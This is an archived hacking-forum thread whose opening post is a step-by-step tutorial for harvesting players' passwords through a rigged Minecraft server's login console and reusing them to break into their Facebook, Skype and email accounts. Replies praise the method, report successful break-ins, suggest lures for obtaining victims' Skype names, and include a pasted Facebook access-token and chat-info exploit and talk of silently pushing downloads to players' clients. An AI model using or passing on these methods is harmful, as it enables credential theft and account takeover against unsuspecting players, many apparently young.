Thread: [\[TUT\] How to get passwords for facebook and other accounts using minecraft exploit](#)

??@ - December 27, 2013, 11:28 am

This is a little trick I've been using which works rather well. First make a offline minecraft server and add the plugin called login security. This will force users to set a password on your server when they join. When they do this check the console when they login and you will be able to see the password that they set. Many people will use one master password for all their accounts. Use the password that they set in your minecraft server to get into their facebook, skype etc. Some people will just use password as their password but many do not so it really depends on how dumb the person is. Enjoy. Oh and make sure your using bukkit for the server. Please vouch for this method if it helped you.

Step 1. Download latest craftbukkit build from here <http://dl.bukkit.org/downloads/craftbukkit/>

Step 2. Port forward 25565 on router

To get to router type 192.168.1.1 into web url address.

Step 3. put Craftbukkit file into a folder (DO NOT RUN IT) then make a batch file containing the following code in the same folder. Name the file what ever you want.

Code @echo off

"C:\Program Files\Java\jre7\bin\java" -Xms5000M -Xmx5000M -jar
craftbukkit-1.7.2-R0.1-20131203.185242-15.jar nogui

pauseThis allocates more RAM into the server and launches the console. This is what you will click to run your server. NOTE: you will need to adjust the code above to your correct bukkit build and desired allocated RAM.

Step 4. Run the batch file

You will end up with multiple files and a console screen like this

Step 5. Download login security plugin

<http://dev.bukkit.org/bukkit-plugins/loginsecurity/>

Step 6. Place login security .jar file into the plugins folder located in your server folder. Then eather type reload into console and hit enter or restart the console. This will load the plugin into the server.

Step 7. Edit your server.properties file and set to online mode = false you can use notepad to edit the file.

Step 8. Edit the login security config.yml file using notepad and set password required to true, then restart or reload the server to update the server properties

Step 9. Set up a no ip here <http://www.noip.com/> make an account go to add new host type in a host name and click add host. Although any skid can pull an ip out of a domain it still helps for basic

ddos protection. Give this address to the people that want to join your server. ex:
myserver.servegame.com

Step 10. Watch when the people join your server in console and see what they set their password to. Use this password to get into their skype and facebook. NOTE: if you dont have their email get into their skype first and their email should be stored in their skype settings.

Devil_carder - December 27, 2013, 11:42 am

nice tha@@nks for sharing broo00oo keep it up

CoNz - December 27, 2013, 11:43 am

Suppose that is a nice tip. Thanks.

Abaddon - December 27, 2013, 1:10 pm

Very clever. Thanks for sharing! Keep it up

Struxus - December 27, 2013, 1:17 pm

Very nice! Thanks for sharing! Keep it up!

Red_Ryder - December 27, 2013, 1:20 pm

It's a start I suppose. Can be implemented into many different things as well.

?ă?ž?@ - December 27, 2013, 1:37 pm

Thanks for the feedback, I will post more methods when i come across them.

HarveySpecter - December 27, 2013, 7:53 pm

Thank you for sharing this it was really helpful.

?ă?ž?@ - December 27, 2013, 8:07 pm

(Dec 27, 2013 08:53 PM)Probation Wrote: [\[CITE\]](#) Thank you for sharing this it was really helpful.
Your welcome glad i could help you out :)

Code ##

Title: Facebook access Token & Chat Exploit Priv8

Exploitation : Manually

Date: 15/04/2013

#Author: Mauritania Attacker

##

Access Token from Application :

https://graph.facebook.com/303943362983320/accounts/test-users?installed=true&name=test&permissions=read_stream&method=post&access_token=303943362983320|gdHOjhabhCio0zTGiYKDhZcuUo0

* When your victim is online and you chatting with him , just try the following link it will show all his infos !!!

Chat Exploit

[https://www.facebook.com/ajax/chat/user_info.php?__user=ID&__a=1&__dyn=1-&__req=2v&ids\[0\]=ID](https://www.facebook.com/ajax/chat/user_info.php?__user=ID&__a=1&__dyn=1-&__req=2v&ids[0]=ID)

SIM-1538688 - December 27, 2013, 8:11 pm

73% of users use the same password on all/most sites if I'm not mistaken.

?ă?ž?® - December 27, 2013, 8:13 pm

yeah i found that out after i broke into 2 facebook's and 3 skype's using my password stealing method.

maxzmoviez - January 11, 2014, 9:24 am

This is actually really clever :D Thanks for this!

?ă?ž?® - January 11, 2014, 3:19 pm

your welcome enjoy the free method hope it works for u

Tzeemu - January 11, 2014, 5:21 pm

Finally awesome tutorial this is helpful i like!

anikain - January 13, 2014, 10:58 am

it now encrypts all passwords before saving. can someone please make a login plugin, that saves the passwords in plaintext?

MR.Worldwide - January 13, 2014, 11:26 am

sounds really clever, might test it thank you!

anikain - January 13, 2014, 11:31 am

anyone want to try mine ? http://minecraft-server.eu/server/index/81047/cracked_omnifun_secure
just dont give a real password. it is saving it in clear text

?ă?ž?® - January 14, 2014, 6:48 am

(Jan 13, 2014 12:31 PM)anikain Wrote: [\[CITE\]](#) anyone want to try mine ?
http://minecraft-server.eu/server/index/81047/cracked_omnifun_secure
just dont give a real password. it is saving it in clear text
that servers 1.6.4 you should update it to the latest version

PDGY - January 14, 2014, 5:10 pm

Nice method, thanks for sharing.

yeah no problem enjoy the free method

?onsai - January 15, 2014, 12:23 pm

hmm but the password is useless without the mail address .. its not productive to ask every user about his mail address ...

AngelOfLiberty - January 15, 2014, 12:29 pm

haha good share mate thanks alot mate

?ã?ž?® - January 15, 2014, 12:40 pm

(Jan 15, 2014 01:23 PM)S1L3NZ Wrote: [\[CITE\]](#) hmm but the password is useless without the mail address .. its not productive to ask every user about his mail address ...

if you know the persons skype username you can just break into it and they should have their email stored in their skype settings. You need to think outside the box its pretty simple.

Reciprocal - January 15, 2014, 1:23 pm

This is creative, yet intelligent. I like the combination. But this is also a game of chance as some people are now intelligent enough to use multiple passwords for different accounts. But this is a handy trick.

Harley Quinn - January 15, 2014, 1:26 pm

Haha nice shout :) will try this. Many thanks

Long Morrison - January 15, 2014, 1:49 pm

Lel, i have done this since version 1.4x with plugin called rakamak.

This would be a lot better with email verification :p

?ã?ž?® - January 15, 2014, 2:21 pm

(Jan 15, 2014 02:49 PM)poniboy Wrote: [\[CITE\]](#) Lel, i have done this since version 1.4x with plugin called rakamak.

thanks i put some thought into it and it pays off

SSLR - January 16, 2014, 10:07 pm

Nice idea. I will give it a test for you

Thanks!

C_destroyer - January 17, 2014, 3:24 am

how to make offline minecraft server

?ă?ž?® - January 17, 2014, 8:15 am

(Jan 17, 2014 04:24 AM)C_destroyer Wrote: [\[CITE\]](#) how to make offline minecraft server
download craftbukkit <http://dl.bukkit.org/downloads/craftbukkit/> port forward 25565 on router.
Change setting on server properties to online mode = false using notepad. Then save this code in a .bat file this is what runs your console app. You will need to adjust it to your computer settings. Also get a no ip <http://www.noip.com/>

@echo off

```
"C:\Program Files\Java\jre7\bin\java" -Xms5000M -Xmx5000M -jar  
craftbukkit-1.7.2-R0.1-20131203.185242-15.jar nogui  
pause
```

Note that servers perform poorly with low amounts of upload speed check yours here
<http://www.speedtest.net/>

Long Morrison - January 17, 2014, 9:38 am

You forgot "-o false"

This allows non-premium users to join.

?ă?ž?® - January 17, 2014, 11:49 am

(Jan 17, 2014 10:38 AM)poniboy Wrote: [\[CITE\]](#) You forgot "-o false"

This allows non-premium users to join.i said online = false O.o maybe u didnt see it

A\$AP R?o??cky - January 17, 2014, 11:51 am

This could work.

But you also have to first acquire the guys email.

?ă?ž?® - January 17, 2014, 11:53 am

(Jan 17, 2014 12:51 PM)MilkyBarKid Wrote: [\[CITE\]](#) This could work.

But you also have to first acquire the guys email.

There are other ways to get the email. If they have skype get into their account and their email should be stored in their settings.

Long Morrison - January 17, 2014, 1:58 pm

(Jan 17, 2014 12:49 PM)?ă?ž?® Wrote: [\[CITE\]](#) i said online = false O.o maybe u didnt see it

Derp, I remember when i had to use -o false because craftbukkit licked notches ass and blocked online-mode in server config.

I dunno if its still like that.

joelmand - January 17, 2014, 2:00 pm

victim's interest needs to be diverted to mine craft in order for them to sign in. good trick though!>

Arnette Rene - January 17, 2014, 2:01 pm

This is nice, i never thought of that myself, this could be handy some times

?ă?ž?® - January 17, 2014, 5:59 pm

Yea it can come in handy if you need to get someones stuff

Adoring Fan - January 21, 2014, 7:31 pm

I've actually been using this method, how did you find out about this/think it up?

?ă?ž?® - January 21, 2014, 7:38 pm

i used it a long time ago still works

Salman Khan - January 22, 2014, 7:21 am

I logged in as Notch and lots of famous youtube people.lots of people say they are notch but they just have special characters at the end of the name. Are you sure it was actually notch?

bar c0de - April 13, 2014, 10:36 am

I remember doing this all last year! This is one of the things that made the game better, the reactions were priceless XD

JavaCoderz - April 15, 2014, 9:43 am

Really clever, thanks OP.

You could say something like "We're looking for staff, add me on Skype" to get their Skype easily and get some good reactions.

batsauto - April 15, 2014, 8:59 pm

This is why you don't use your normal password on minecraft servers XD. Clever tutorial though

?ã?ž?@ - April 17, 2014, 7:03 am

(Apr 15, 2014 08:59 PM)batsauto Wrote: [\[CITE\]](#) This is why you don't use your normal password on minecraft servers XD. Clever tutorial though

Yea many people assume that the server they are going on is secure

Abstractionz - April 17, 2014, 9:35 am

very clever way of doing it - admins are usually respected and trusted, so I doubt anyone will ever

expect anything; I doubt the first thought after finding their account hacked would be "bet it was that minecraft server admin!"

?ã?ž?@ - April 22, 2014, 6:56 am

(Apr 17, 2014 09:35 AM)Abstractionz Wrote: [\[CITE\]](#) very clever way of doing it - admins are usually respected and trusted, so I doubt anyone will ever expect anything; I doubt the first thought after finding their account hacked would be "bet it was that minecraft server admin!"
Exactly. This is what makes this exploit so effective

Yawpton - April 23, 2014, 6:28 pm

Nice share thanks for this will use

?ã?ž?@ - April 23, 2014, 6:53 pm

(Apr 15, 2014 09:43 AM)JavaCoderz Wrote: [\[CITE\]](#) Really clever, thanks OP.
You could say something like "We're looking for staff, add me on Skype"
to get their Skype easily and get some good reactions.
yeah thats a good method to use aswell

\$tone - April 24, 2014, 4:43 pm

Love it dude great tut thx!

+rep!

hacko7 - September 4, 2014, 11:34 am

Thank you for sharing this it was really helpful.

codex01 - September 4, 2014, 4:01 pm

Nice way, I did it once and got the password ^^

Wireframe - September 6, 2014, 2:11 am

This is the main reason why I never use good password at Minecraft servers.

Simple and powerful way to get passwords. But mostly these passwords work only on their Minecraft accounts.

Trundle™ - October 9, 2014, 8:00 pm

Used to do this on my fairly popular server.

jok3er - October 16, 2014, 12:54 pm

thank you for sharing..... :) :) :)

adriancs35 - October 16, 2014, 1:01 pm

This is old but it still works like a charm * _*.

?Criminal - October 16, 2014, 3:26 pm

I wonder if people know on most online games that have client to client or client to server to client infrastructures like minecraft you can also download and execute malware silently and do alot more trollish things like my friend made a plugin in java that exploited the ingame texture pack downloader class to silently download pictures(mainly memes) and open them on other clients connected to the server you can do alot more is what im saying then just getting passwords.They added heavy checks to that class now but when it was first added to the java files it was insecure and you could of abused it on various servers not just your own.

LynS - October 17, 2014, 10:14 am

OMG Awesome Bro That Cool Will Try It Later

?ă?ž?@ - October 27, 2014, 6:56 am

(Oct 16, 2014 03:26 PM)maybeBlue Wrote: [\[CITE\]](#) I wonder if people know on most online games that have client to client or client to server to client infrastructures like minecraft you can also download and execute malware silently and do alot more trollish things like my friend made a plugin in java that exploited the ingame texture pack downloader class to silently download pictures(mainly memes) and open them on other clients connected to the server you can do alot more is what im saying then just getting passwords.They added heavy checks to that class now but when it was first added to the java files it was insecure and you could of abused it on various servers not just your own.Of course not your talking about 12 year olds that dont understand how a computer functions.

BigBird711 - October 27, 2014, 11:54 am

thanks for the post this will help thanks

?ă?ž?@ - December 3, 2014, 7:28 pm

this method is still currently working as of 1.8 enjoy

GorrePro - December 24, 2014, 3:20 pm

Thanks for great for this mate , looked everywhere after an easy understanding and working tutorial !

The Hidden - December 24, 2014, 5:30 pm

Cool tutorial i will have to check this out later

OnlyTigerAlive - December 25, 2014, 8:17 am

Damn this is very useful thanks for this op

thafxclan - January 1, 2015, 8:11 pm

This looks amazing! Needing to try this out. Not sure how the port forwarding will do, but should be worth it!

lamsonx - January 2, 2015, 8:35 am

Thank you for sharing this it was really helpful.

iiiAccident - January 2, 2015, 5:41 pm

Very clever. Thanks for sharing! Keep it up

Demoralise - January 2, 2015, 5:42 pm

Wow. This is a fucking great tutorial!

Bikersen - February 7, 2015, 5:24 am

Nice, used to do this some time ago. Worked flawless at that time, not sure how good it works anymore, seems to work great still though. Dirty method though xd

BanthaTrax - February 8, 2015, 1:21 am

Well this is nifty. You have no idea how much the screenshots are greatly appreciated by someone completely new to all this, like me. Thank you. Definitely gonna try this out later.

SIM-2615218 - February 14, 2015, 10:51 pm

Thank you for providing such a great information.

eberto - March 13, 2015, 1:32 pm

Thanks for sharing this m8 ;) well impressive what ppl nowadays find out

xXSIGXx - March 13, 2015, 1:57 pm

Dude that's awesome. I wish I thought of that. I knew people usually use the same password for everything but never thought much of it.

Spritz - March 14, 2015, 9:14 pm

I used this to get personal MC alts a while ago. I wrote the plugin myself though and made it mimic an actual login plugin.

Fallen21 - March 15, 2015, 2:21 am

there a best exploit for had minecraft.net account just by login on the server, without /register and/or /login
